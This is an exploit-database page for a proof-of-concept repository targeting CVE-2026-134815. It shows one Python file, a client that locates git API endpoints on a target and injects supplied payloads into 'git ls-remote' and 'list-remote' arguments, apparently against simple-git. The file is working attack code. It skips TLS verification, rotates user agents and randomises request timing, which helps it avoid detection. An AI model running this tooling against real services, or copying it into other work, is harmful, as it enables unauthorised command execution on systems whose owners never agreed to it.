Exploit database

GH-9fcdc3b0dd5c5e18b788e8a22f70bf75

tc4dy/cve-2026-134815-poc-exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-134815

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files5
tc4dy/cve-2026-134815-poc-exploitRevision 64eb6a56c017

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lib/git_client.py

Python · 3,029 bytes
import json
import urllib.request
import urllib.error
import ssl
import random
import time

USER_AGENTS = [
    "Mozilla/5.0 (X11; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
]

class GitClient:
    def __init__(self, base_url, timeout=15.0, jitter=(0.05, 0.35), proxy=None):
        self.base_url = base_url.rstrip("/")
        self.timeout = timeout
        self.jitter = jitter
        self.proxy = proxy
        self._ctx = ssl.create_default_context()
        self._ctx.check_hostname = False
        self._ctx.verify_mode = ssl.CERT_NONE

    def _jitter(self):
        lo, hi = self.jitter
        if hi > 0:
            time.sleep(random.uniform(lo, hi))

    def _request(self, path, method="GET", data=None, headers=None):
        url = f"{self.base_url}{path}"
        req = urllib.request.Request(url, method=method)
        req.add_header("User-Agent", random.choice(USER_AGENTS))
        req.add_header("Accept", "*/*")
        for k, v in (headers or {}).items():
            req.add_header(k, v)
        body = None
        if data is not None:
            body = data.encode() if isinstance(data, str) else data
            req.add_header("Content-Type", "application/json")
        self._jitter()
        try:
            with urllib.request.urlopen(req, data=body, timeout=self.timeout, context=self._ctx) as resp:
                return resp.status, resp.read().decode("utf-8", "replace")
        except urllib.error.HTTPError as e:
            return e.code, e.read().decode("utf-8", "replace")
        except Exception as e:
            return 0, str(e)

    def detect(self):
        paths = ["/api/repo", "/api/git", "/api/v1/repo", "/git"]
        for p in paths:
            status, body = self._request(p, method="GET")
            if status and status != 404:
                return True, p
        return False, None

    def inject_raw(self, payload):
        endpoint = self.detect()[1]
        if not endpoint:
            return False, "no endpoint"
        data = json.dumps({"args": ["ls-remote", payload, "origin"]})
        status, body = self._request(f"{endpoint}/raw", method="POST", data=data)
        return status in (200, 500), body

    def inject_list_remote(self, payload):
        endpoint = self.detect()[1]
        if not endpoint:
            return False, "no endpoint"
        data = json.dumps({"remote": payload, "options": ["-q"]})
        status, body = self._request(f"{endpoint}/list-remote", method="POST", data=data)
        return status in (200, 500), body

    def check_version(self):
        endpoint = self.detect()[1]
        if not endpoint:
            return None
        status, body = self._request(endpoint, method="GET")
        if status == 200:
            import re
            m = re.search(r"simple-git[/\s]+(\d+\.\d+\.\d+)", body, re.IGNORECASE)
            if m:
                return m.group(1)
        return None